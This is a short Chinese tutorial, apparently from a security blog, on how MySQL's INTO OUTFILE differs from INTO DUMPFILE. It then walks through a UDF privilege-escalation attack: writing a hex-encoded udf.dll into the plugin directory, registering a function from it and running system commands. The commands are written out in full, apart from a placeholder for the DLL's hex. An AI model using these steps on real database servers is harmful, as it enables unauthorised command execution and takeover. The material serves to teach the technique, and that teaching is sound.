一直覺得兩個函數做用是相同的
通過簡單測試發現仍是有些區別的
以下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name | pass |
+----+------------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
Query OK,1 row affected (0.00 sec)
我是想將這些內容 導出到 一個txt文件,事實上是能夠完整導出每行記錄的.
這個很適合導庫
而into dump是不行的 它只能導出 一行數據!
若咱們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出後 就會被破壞
由於into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
這時候咱們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理
如在無web腳本 執行 可是有mysql root 執行的環境下 咱們就能夠 經過
into dump 函數導入udf.dll進行提權
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value |
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人建立過udf 若是有就能夠省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
一點小知識點:
如何獲取該udf.dll文件的16進制值(hex)?
咱們能夠本地搭建mysql環境 找個能夠用的udf.dll文件 執行下面操做
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何獲取該udf插件的內置 函數?
經過C32 等16進制 編輯器 或直接經過記事本 打開 看關鍵字 便可。mysql